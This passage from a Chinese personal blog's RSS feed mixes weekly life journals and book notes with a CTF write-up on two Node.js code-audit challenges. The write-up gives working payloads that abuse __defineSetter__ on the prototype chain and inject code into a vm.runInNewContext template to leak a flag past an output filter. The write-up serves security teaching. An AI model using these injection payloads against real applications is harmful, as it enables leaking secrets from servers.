&lt;p&gt;谈到夷陵之战时，作者也叹息于刘备的政治水平。不管是从当时，还是事后的角度来看，这一点都无可厚非。但是刘备政权最可爱，最充满人性的地方就在于，他们是没有政治头脑的，他们是真的亲兄弟，手足情。这个政权之所以经常被扼腕叹息，其最可爱的地方，也就在这里。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;刘备东征，伐孙权之罪，却仅止于伐孙权袭杀关羽和侵夺荆州地盘之罪。这大大降低了伐吴之战的政治水平。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;最后是这首歌，好喜欢哈哈哈哈~&lt;/p&gt;
&lt;p&gt;https://twitter.com/rayepeng_/status/1689847243241824256?s=20&lt;/p&gt;
&lt;p&gt;📮 Newsletter&lt;/p&gt;
&lt;p&gt;以后所有的记录就都会自动同步到个人频道啦, &lt;a href=&quot;https://t.me/RayeJourney&quot;&gt;https://t.me/RayeJourney&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;不过也会摘录一些放在博客里：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.xiaoyuzhoufm.com/episode/645a76f67d934b85051081c8&quot;&gt; No.28 和xlog.app的作者DIYGOD聊区块链和博客平台、前端学习和生活感悟 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tumutanzi.com/archives/17064&quot;&gt; 夜爬泰山观日出记 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://zuofei.net/5058.html&quot;&gt; 为什么我们需要一个「关于」页面？ &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wungjyan.xlog.app/runtime-and-compileTime&quot;&gt; 理解前端框架中的运行时和编译时 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://thirdshire.com/post/first-voting-experience-in-canada/&quot;&gt; 第一次投出选票是什么样的体验？ &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://matters.town/@amateurs/404541-%E5%9B%9E%E5%BD%A2%E9%92%88%E8%A7%A3%E6%95%A3%E4%B8%A4%E5%B9%B4%E4%BA%86-%E4%BB%96%E4%BB%AC%E6%80%8E%E4%B9%88%E6%A0%B7%E4%BA%86-bafybeifvvbkdcloazpuetjghzry7i2guljtqwnak6rfuiyas2v6uggr7gm&quot;&gt; 回形针解散两年了，他们怎么样了？ &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stephenleng.com/zero-covid-policy/&quot;&gt; “清零”不会有胜利，所有人都是输家 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV1kz4y1W7hv/?spm_id_from=333.999.0.0&quot;&gt; 在化粪池里裸泳的年轻人们啊 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV12x4y1X7Eg/?spm_id_from=333.999.0.0&quot;&gt; 中国式家长的教育模式：恐吓孩子 &lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>两道有趣的JS代码审计题目</title><link>https://rayepeng.net/posts/%E4%B8%A4%E9%81%93%E6%9C%89%E8%B6%A3%E7%9A%84js%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E9%A2%98%E7%9B%AE/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E4%B8%A4%E9%81%93%E6%9C%89%E8%B6%A3%E7%9A%84js%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E9%A2%98%E7%9B%AE/</guid><pubDate>Sat, 12 Aug 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;两道有趣的JS代码审计题目&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeib6gtdgp6urih4dt7zt6mfca6ertgpezp4t3s2la64tkgubde43qu.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;converter&lt;/p&gt;
&lt;p&gt;题目是一个网页，如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreicxq6a63vkab5pc7j3dfqohlyes54pytwerdfziok4ivddg4tqtye.png&quot; alt=&quot;DraggedImage&quot; /&gt;&lt;/p&gt;
&lt;p&gt;POST两个参数， &lt;code&gt;Input&lt;/code&gt; 即输入的数据， &lt;code&gt;converter&lt;/code&gt; 代表选择的转换器&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreia77bzvog2ei6qopoku3sodshr4e6m5nth7e53gmvnhfmtpxd4bha.png&quot; alt=&quot;DraggedImage-1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;分析源码，可以看到有三个 &lt;code&gt;converter&lt;/code&gt; ，即代表着三种不同的encode方式，其中 &lt;code&gt;flagConverter&lt;/code&gt; 里面有flag&lt;/p&gt;
&lt;p&gt;但是限制了 &lt;code&gt;request.body.converter&lt;/code&gt;，不能出现 &lt;code&gt;FLAG&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  if (request.body.converter.match(/[FLAG]/)) {
    throw new Error(&quot;Don&apos;t be evil :)&quot;);
  }

  if (request.body.input.length &amp;lt; 20) {
    throw new Error(&apos;Too short :(&apos;);
  }

  if (request.body.input.length &amp;gt; 1000) {
    throw new Error(&apos;Too long :(&apos;);
  }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里研究了之后确实不存在突破办法了🤣&lt;/p&gt;
&lt;p&gt;分析&lt;/p&gt;
&lt;p&gt;注意到真正调用 &lt;code&gt;converter&lt;/code&gt; 的代码， 我们输入的两个参数 &lt;code&gt;req.body.converter&lt;/code&gt; 和 &lt;code&gt;req.body.input&lt;/code&gt;，其中 &lt;code&gt;req.body.converter&lt;/code&gt; 是作为 &lt;code&gt;converters&lt;/code&gt; 的属性名，即我们可以控制 &lt;code&gt;conveters&lt;/code&gt;的任意一个属性（除了这个属性名不能含有 &lt;code&gt;FLAG&lt;/code&gt; 之外）&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;通过 &lt;code&gt;await new Promise&lt;/code&gt; 代码是在尝试将回调式的异步操作转换为Promise风格的操作，以便使用 await 来等待执行结果，可以忽略&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;并且我们发现， &lt;code&gt;converters&lt;/code&gt; 是一个 const 类型，并且每次执行 &lt;code&gt;encode&lt;/code&gt; 操作，都会对 &lt;code&gt;converters&lt;/code&gt; 做一次赋值（理论上直接写死就行了吧，没必要每次请求都这么干）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  converters[&apos;base64&apos;] = base64Converter;
  converters[&apos;scrypt&apos;] = scryptConverter;
  converters[`FLAG_${request.session.sessionId}`] = flagConverter;

  const result = await new Promise((resolve, reject) =&amp;gt; {
    converters[request.body.converter](request.body.input, (error, result) =&amp;gt; {
      if (error) {
        reject(error);
      } else {
        resolve(result);
      }
    });
  });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而我们知道，在JS中，虽然一个对象的属性看上去只有那么点，但是由于JS特有的原型链继承关系，就会导致 &lt;code&gt;Object&lt;/code&gt; 对象的属性也被继承过来（因此可以逐一去对这些属性做尝试）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreif5wbhegg25onmmjwsq7qaifyfunmtb3lthkb2benff6hku62nkxe.png&quot; alt=&quot;DraggedImage-2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;其中这个 &lt;code&gt;__defineSetter__ &lt;/code&gt; 属性很有意思，有点类似反射，可以给对象的一个属性做一个代理，正常写法其实是这样的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const obj = {
  a: 1
};

// 使用 __defineGetter__
obj.__defineSetter__(&apos;a&apos;, function(res) {
	console.log(&quot;get res: &quot; + res);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果我们定义了 setter ，那么后续赋值的时候， 赋值等式的右边值就会作为 setter 函数的第一个参数传进来&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreievolezdquoz4oe2tfskwynqusjhjegevsvrpix7ywnuot6rmqunu.png&quot; alt=&quot;DraggedImage-3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;所以，当我们输入 &lt;code&gt;input= FLAG_***SESSION*** &lt;/code&gt; （input并没有不允许输入FLAG字符串），&lt;code&gt;converter = __defineSetter__ &lt;/code&gt; 时，代码变为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;converters[&quot;__defineSetter__&quot;](&quot;FLAG_***SESSION***&quot;, (error, result) =&amp;gt; {
    if (error) {
        reject(error);
    } else {
        resolve(result);
    }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样当我们重写完对象的 &lt;code&gt;FLAG_***SESSION***&lt;/code&gt;  对应的 setter 时，这个网页先不动！&lt;/p&gt;
&lt;p&gt;后续再新开一个网页去访问，此时触发：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;converters[`FLAG_${request.session.sessionId}`] = flagConverter;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到 &lt;code&gt;flagConverter&lt;/code&gt; 就会作为第一个参数传入到函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(error, result) =&amp;gt; {
    if (error) {
        reject(error);
    } else {
        resolve(result);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时 result 的结果自然就是 error , 即 &lt;code&gt;flagConverter.toString()&lt;/code&gt; 的结果&lt;/p&gt;
&lt;p&gt;回到我们的第一个网页，此时就能看到：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreifvhhnyeyudnsmj2orujo7zkcl3qn7hvkfyuudsqq2g5nqpvolroi.png&quot; alt=&quot;DraggedImage-4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Kantan Calc&lt;/p&gt;
&lt;p&gt;这道题目也很有意思，是我见过的JS代码审计中比较新颖的，巧妙地用沙箱逃逸来误导你，实际利用的是JS很常见的一个特性&lt;/p&gt;
&lt;p&gt;CTF中的经典计算器前端：
&lt;img src=&quot;./attachments/bafkreifatxcx4sxx6wowh3ydcpkvwl6fgjorfawfu76mbzdonxsbx2ziha.png&quot; alt=&quot;DraggedImage-5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;app.get(&apos;/&apos;, function (req, res, next) {
  let output = &apos;&apos;;
  const code = req.query.code + &apos;&apos;;
  console.log(code.length); // 打印输入的代码长度
  if (code &amp;amp;&amp;amp; code.length &amp;lt; 30) {
    try {
      const result = vm.runInNewContext(`&apos;use strict&apos;; (function () { return ${code}; /* ${FLAG} */ })()`, Object.create(null), { timeout: 100 });
      output = result + &apos;&apos;;
      if (output.includes(&apos;flag&apos;)) {
        output = &apos;Error: please do not exfiltrate the flag&apos;;
      }
    } catch (e) {
      output = &apos;Error: error occurred&apos;;
    }
  } else {
    output = &apos;Error: invalid code&apos;;
  }

  res.render(&apos;index&apos;, { title: &apos;Kantan Calc&apos;, output });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关键代码就是在 &lt;code&gt;vm.runInNewContext&lt;/code&gt; 那一行，即输入的内容会被当做代码执行，比如输入 &lt;code&gt;2*2&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;实际在vm中执行的代码就是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&apos;use strict&apos;;
(
	function(){
		return 2*2; /* flag{fake_flag} */
	}
)()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;实际就是一个立即执行函数，但是这里要注意：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vm.runInNewContext(&apos;&apos;, Object.create(null))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Object.create(null)&lt;/code&gt; 实际上是创建了一个没有任何原型链的对象，是一个绝对“干净”的对象&lt;/p&gt;
&lt;p&gt;因此，最常用的一种沙箱逃逸是没有办法了（我就懒得写了）&lt;/p&gt;
&lt;p&gt;解法&lt;/p&gt;
&lt;p&gt;在 JavaScript 中，可以通过将函数体转换为字符串来获取函数体：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function a() {}
console.log(a+&apos;&apos;)
// &quot;function a() {}&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样就可以让代码内的flag注释信息打印出来了，但是就算打印出来还是会被后面的if给拦截，这应该怎么办呢？&lt;/p&gt;
&lt;p&gt;答案就是数组，利用函数 toString 弱类型转换，返回char数组（绕开if检测），同时保证payload长度小于30&lt;/p&gt;
&lt;p&gt;那么我们先直接闭合前面的函数，然后开一个新的函数，即输入：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;},function p(){return[...p+1]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么此时：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&apos;use strict&apos;;
(
	function(){
		return 
	},
	function p(){return[...p+1]; /* flag{fake_flag} */
	}
)()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么第二个函数p执行的时候，先执行加法，抓为字符串，然后解构为数组，就绕开了检测&lt;/p&gt;
&lt;p&gt;在看wp的时候还发现有另一种思路：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[...arguments[0]+0]})(a=&amp;gt;{
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;实际执行的代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&apos;use strict&apos;;
(
	function(){
		return [...arguments[0]+0]}
)
(a=&amp;gt;{
			; /* flag{fake_flag} */
	}
)()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;等于先定义了一个函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(
	function(){
		return [...arguments[0]+0]
	}
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后调用的时候传递了一个参数， &lt;code&gt;(a =&amp;gt; {;/*flag{fake_flag}*/})&lt;/code&gt;，那么自然这个函数就会被当做参数 &lt;code&gt;arguments&lt;/code&gt; 传递进去，同样的道理（不过这种情况会报错了，因为返回的是个数组无法继续函数调用）&lt;/p&gt;
&lt;p&gt;总结&lt;/p&gt;
&lt;p&gt;这两道题目也都打包Docker镜像了，有需要的可以自取：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker run -d --restart=always -p 3000:3000 rayepeng/kantan_calc:latest
docker run -d --restart=always -p 3000:3000 rayepeng/convert:latest  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其实JS的很多特性都是可以用来出题的，但是却很少像PHP那样，有各种变种且好玩的代码审计题，后续准备在这里多思考下，尝试自己也出几道有趣的结合JS特性的审计题目&lt;/p&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>周报10 种一棵树，最好是十年前</title><link>https://rayepeng.net/posts/weekpost8/</link><guid isPermaLink="true">https://rayepeng.net/posts/weekpost8/</guid><pubDate>Tue, 08 Aug 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报10 种一棵树，最好是十年前&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeiaruiapwt3cx4vzv32eypnqidjcqx35xuwmbmdlrcq5ee7wex6l3q.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里记录的是raye在 2023.7.31 ~ 2023.8.6 的生活、故事、感想&lt;/p&gt;
&lt;p&gt;我发现我每周都在和拖延症做对抗，明明在内心中都计划好了，结果等到开始做的时候总会想出各种理由来为难自己。&lt;/p&gt;
&lt;p&gt;这周刷到了&lt;a href=&quot;https://www.bilibili.com/video/BV1fu411G7e3&quot;&gt; 何同学的视频 &lt;/a&gt; 虽然我早就因为各种原因不喜欢他并且不再关注他了，但是他这一期最新的视频确实让我受到一些启发，那就是任何事情，不管你借助多少外力，还是得需要你的内心真正迈出那一步。（尽管这道理很浅显，而且谁又不知道呢，我们从来都不是因为不知道某条道理而无法过好一生😂）&lt;/p&gt;
&lt;p&gt;不知道阅读这篇文章的你是否也会有这种感觉：每当我要去汇报，去演讲，去见陌生人，明明早已做好准备，但心中的那步棋却始终迟疑不定，不肯落子&lt;/p&gt;
&lt;p&gt;于是，我们害怕，害怕改变，这该死的惯性，驱使着我们，让我们找到了一个又一个的借口&lt;/p&gt;
&lt;p&gt;于是我们怪罪于完美主义，怪罪于拖延症，怪罪于我们能找到的一切事物&lt;/p&gt;
&lt;p&gt;心中的那一步，才是真正的那一步&lt;/p&gt;
&lt;p&gt;降低预期，适当欺骗自己去开始，而不是踟蹰不前，不失为一种好的方法&lt;/p&gt;
&lt;p&gt;于是，我也在周六就开始写这篇周报了，而不是拖到周日🐶（结果这篇周报还是拖到了今天周二才发🤔&lt;/p&gt;
&lt;p&gt;毕竟，正如标题所说，种一棵树，最好是十年前，其次是现在&lt;/p&gt;
&lt;p&gt;📝 回忆深圳&lt;/p&gt;
&lt;p&gt;突然间想记录一下自己对深圳这座城市的一些想法&lt;/p&gt;
&lt;p&gt;恍惚间从20年第一次来深圳，也有3年了，入职也已过了2周年，相比起年少的我，总是莫名多了些想要写的文字&lt;/p&gt;
&lt;p&gt;20年5月，刚刚孤身一人从新疆回来的我，刚回家不到一个月就独自南下，来到一个熟悉又陌生的城市，深圳&lt;/p&gt;
&lt;p&gt;其实并没有文字中所谓的那么悲壮，只不过在疫情时候，我的选择可以说是有些与众不同罢了，不过也确实在家待腻了&lt;/p&gt;
&lt;p&gt;对深圳最直观的印象就是热，那是一种无法摆脱的热，是一种今后将一直伴随着我的热，是一种沉浸其中之后就浑然不知的热&lt;/p&gt;
&lt;p&gt;于是，步履开始加快，眼光开始锐利，头脑开始清醒，奔波在这其中的人，目标似乎都很明确（漂亮的小姐姐也好多🐶&lt;/p&gt;
&lt;p&gt;深圳的气息，
不同于武汉，没有年轻人的小清新感，
不同于长沙，没有普通人的接地气感，
不同于西安，没有古都人的历史厚重感。&lt;/p&gt;
&lt;p&gt;说白了，就是打工人生活的城市。日出而作，日落而息，这是深圳工作日不变的景象&lt;/p&gt;
&lt;p&gt;在深圳并没有去过很多地方，除了日常的深圳湾，小山，小公园外，对这座城市，除了日常上班所必经的道路外，仿佛一切都还停留在最初的印象中&lt;/p&gt;
&lt;p&gt;💭思考&amp;amp;杂记&lt;/p&gt;
&lt;p&gt;感觉现在的周报有开始沦为记流水账的形式了，因此打算改一改，重点还是记录自己本周内的思考吧&lt;/p&gt;
&lt;p&gt;randy大佬开发的 &lt;code&gt;notepal&lt;/code&gt; 支持了 &lt;code&gt;logseq&lt;/code&gt; 后，我就马上成为付费用户了😉&lt;/p&gt;
&lt;p&gt;试验导出功能的时候，碰巧看到很早之前重读《解忧杂货店》所看到的一句话：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果把来找我咨询的人比喻成迷途的羔羊，通常他们手上都有地图，却没有去看，或是不知道自己目前的位置。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;当时的我愣住了，确实，这本书中所记录的每个个体，其实在向浪矢杂货店提问的时候，内心中都已经有了自己的想法，书中写信来求助的小人物，其实谁是真正按照浪矢老爷爷的路来走的呢？&lt;/p&gt;
&lt;p&gt;自从有了chatGPT之后，我们不是也曾幻想着，通过chatGPT来做一些人类做不到的事情？甚而有说会有终极智能的出现，在我看来都只是一种笑话（我反正讨厌这种说法😒&lt;/p&gt;
&lt;p&gt;毕竟我们问chatGPT的问题，很多时候我们内心中早已有了答案&lt;/p&gt;
&lt;p&gt;每个人手中都有自己的地图，只是有些人不愿意去面对，假装自己手里的地图不存在，或者期待有更好的地图，其实，地图终究是那个，只有你看待地图的方式可以改变&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeie5xu4zfhvym6w3ltrzn4ouvlztikezn47srq2eixzoma6bzzcqie.jpeg&quot; alt=&quot;annie-spratt-Uk3t05ndSng-unsplash&quot; /&gt;&lt;/p&gt;
&lt;p&gt;🏃🏻‍♀️跑步&lt;/p&gt;
&lt;p&gt;再一次挑战十公里，加油😊&lt;/p&gt;
&lt;p&gt;我刚写完这句话就去跑了，结果半个小时Apple Watch记录了4公里都没到，严重怀疑手表GPS信号问题😭&lt;/p&gt;
&lt;p&gt;实锤了，kepp记录的才是对的😅&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreiefojqa45vgquvdzmqupjtjk5es66jyje25w74e5bduufrhrl3j3a.jpeg&quot; alt=&quot;DraggedImage&quot; /&gt;&lt;/p&gt;
&lt;p&gt;📺 追剧 &amp;amp; 📖阅读&lt;/p&gt;
&lt;p&gt;本周倒是没怎么追剧，都把时间花在阅读上面了，这里做一些记录：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;《太白金星有点烦》&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这本书咋说呢，虽然评价都很高，我也觉得写的还可以。但奈何我对里面的神仙一个都认不清，更不用说神仙之间的算计了。但最精彩的地方在于，它真的描绘出一副职场上勾心斗角的画面，确如一部《官场现形记》。如何解决人事纠纷，如何解决同事矛盾，如何拐弯抹角，哪怕是神仙，都逃不过这其中的因果。
撇开这些不谈，我最佩服的还是亲王的想象力了，读《西游记》的过程中，你或多或少会有这样的疑问，为啥那些妖怪最后到头来都是天上神仙的坐骑、宠物下凡？亲王给了一个很好的回答，其实它们本来就是来打工的🤣&lt;/p&gt;
&lt;p&gt;更多的影射梗可以看这里：&lt;a href=&quot;https://book.douban.com/review/15227484/&quot;&gt;https://book.douban.com/review/15227484/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;另外一本书便是
&lt;strong&gt;《饥饿的盛世：乾隆时代的得与失》&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这本书读着读着是最痛心的，但我又能说什么呢，只能是边看边叹息。&lt;/p&gt;
&lt;p&gt;其实要想读懂中国这几千年背后的历史，是有很大难度的，我现在已经尽可能地从好几个方面去了解了&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;皇权与相权，我最开始是不懂为什么一定要划分的，以及后续的中央集权到底是为什么？&lt;/li&gt;
&lt;li&gt;中国的地理，为什么相比欧洲，中国一定是一个统一的国家，这背后有很多地理要素，如气候、地形等等&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;纯摘录几处内容吧，有些感想过了段时间就忘了…🫠&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;那个老太监跑来问我，听说那个漂亮的高座是给车夫坐的，皇帝的座位在车厢里面，他面带讥笑地问道，难道我认为大皇帝会容忍有人坐得比他还高、把背冲向他吗？他想知道，我们是不是有办法把那个驭座拆下来，移到车厢的后面去。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;狭隘腐朽的观念啊，确实不可理喻🤣&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;英国天文学家在皇帝面前卖力地做着各种示范。他将一块金属放在透镜前面，一会儿工夫，金属熔化了。皇帝十分惊奇，由此得出了结论：“无论透光镜或望远镜的原料都是玻璃，同一种东西通过欧洲人的技巧而做出不同功能的仪器来。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;如今外国人直接闯到天津大沽来告御状，显然是有中国人在背后给出主意，至少也是顾问。要不然，外国人怎么会对告御状这么门儿清？此事必须查清楚。
因此，李侍尧在调查广州海关的同时，倒将更多的精力用于调查到底哪些中国人在英国人告状过程中提供了帮助。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;统一盛世的弊端，明明万象升平，却始终怀疑是不是暗流涌动，一点风吹草动就要追根究底。&lt;/p&gt;
&lt;p&gt;阅读的时候，或多或少想到了现在的情形，XX要上升到路线之争，上升到国家层面的对抗，全是境外势力的阴谋，这一点和乾隆盛世好像也没多大差别吧&lt;/p&gt;
&lt;p&gt;📮 Newsletter&lt;/p&gt;
&lt;p&gt;以后所有的记录就都会自动同步到个人频道啦, &lt;a href=&quot;https://t.me/RayeJourney&quot;&gt;https://t.me/RayeJourney&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;不过也会摘录一些放在博客里：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://andrewji8-9527.xlog.app/ru-he-yong-you-zhen-shi-de-mei-guo-shou-ji-hao--cong-mian-fei-dao-chao-gui--zong-you-yi-tian-yong-de-dao&quot;&gt; 如何拥有真实的美国手机号 | 从免费到超贵，总有一天用得到 &lt;/a&gt; 如何拥有真实的美国手机号，之前也折腾过gvoice，但是都不长久，就放弃了（虽然我也不清楚有个美国手机号有啥用🤣&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s/A_GdIIbzJXMa98uoV0ML3w&quot;&gt; ChatGPT 一大波更新要来了 &lt;/a&gt; chatGPT的更新还是挺期待的，毕竟我已经成为一个重度依赖用户了&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tw93.fun/2023-08-03/pake.html&quot;&gt; Pake - 利用 Rust 轻松构建轻量级应用 &lt;/a&gt; 利用rust构建轻量级应用的最佳实践，学习&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV1zj411U7j4&quot;&gt; 这些知名UP主今年最喜欢的歌竟然是..? &lt;/a&gt; LKS整活一向是有点东西的&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://flowgpt.com/p/sophia-carbon-credit-data-analyser-and-price-projector&quot;&gt;一个发现Prompt的网站&lt;/a&gt;可以调试Prompt&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.prettypolly.app/app&quot;&gt;练习英语对话的网站，使用AI&lt;/a&gt;这个网站感觉还有点意思，不过要付费了&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>Include Video in the Posts</title><link>https://rayepeng.net/posts/video/</link><guid isPermaLink="true">https://rayepeng.net/posts/video/</guid><description>This post demonstrates how to include embedded video in a blog post.</description><pubDate>Tue, 01 Aug 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Just copy the embed code from YouTube or other platforms, and paste it in the markdown file.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
title: Include Video in the Post
published: 2023-10-19
// ...
---

&amp;lt;iframe width=&quot;100%&quot; height=&quot;468&quot; src=&quot;https://www.youtube.com/embed/5gIf0_xpFPI?si=N1WTorLKL0uwLsU_&quot; title=&quot;YouTube video player&quot; frameborder=&quot;0&quot; allowfullscreen&amp;gt;&amp;lt;/iframe&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;YouTube&lt;/h2&gt;
&lt;p&gt;&amp;lt;iframe width=&quot;100%&quot; height=&quot;468&quot; src=&quot;https://www.youtube.com/embed/5gIf0_xpFPI?si=N1WTorLKL0uwLsU_&quot; title=&quot;YouTube video player&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; allowfullscreen&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/p&gt;
&lt;h2&gt;Bilibili&lt;/h2&gt;
&lt;p&gt;&amp;lt;iframe width=&quot;100%&quot; height=&quot;468&quot; src=&quot;//player.bilibili.com/player.html?bvid=BV1fK4y1s7Qf&amp;amp;p=1&quot; scrolling=&quot;no&quot; border=&quot;0&quot; frameborder=&quot;no&quot; framespacing=&quot;0&quot; allowfullscreen=&quot;true&quot;&amp;gt; &amp;lt;/iframe&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>周报9 在随笔中回忆自我</title><link>https://rayepeng.net/posts/%E5%91%A8%E6%8A%A59-%E5%9C%A8%E9%9A%8F%E7%AC%94%E4%B8%AD%E5%9B%9E%E5%BF%86%E8%87%AA%E6%88%91/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%91%A8%E6%8A%A59-%E5%9C%A8%E9%9A%8F%E7%AC%94%E4%B8%AD%E5%9B%9E%E5%BF%86%E8%87%AA%E6%88%91/</guid><pubDate>Mon, 31 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报9 在随笔中回忆自我&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeihaarvz3ahxotjciylnezmoewcjxnogyouhpozl3dmztvokr7e2ke.png&quot; alt=&quot;Group 1 (3)&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里记录的是raye在 2023.7.23 ~ 2023.7.28 的生活、故事、感想&lt;/p&gt;
&lt;p&gt;最近很想总结一下2023年上半年的生活，可惜想法一直在脑海中盘旋，却无法落地&lt;/p&gt;
&lt;p&gt;本周其实过的不算太愉快，周二、周三、周四连续多天摆烂，就像一个深陷泥潭的人，没有任何可供我抓住借力的稻草&lt;/p&gt;
&lt;p&gt;于是开始回忆起自己为什么要记录，记录了些什么。我还记得我最开始折腾博客是在大二时候，那是开始用hexo+Github Pages&lt;/p&gt;
&lt;p&gt;不过，我更新最多的好像还是简书， &lt;a href=&quot;https://www.jianshu.com/u/7b4cb9cdc0c8&quot;&gt;萍水间人&lt;/a&gt; ，前后居然写了160篇文章（虽然简书现在完全就是个lj网站）&lt;/p&gt;
&lt;p&gt;第一篇文章写于2018年11月，当时我的很多实验步骤，还帮助了班上很多同学（起因是他们很多实验不会做，于是去网上找，结果发现有一个id叫萍水间人的，写了很详细的步骤，后来发现竟然是我🤣）&lt;/p&gt;
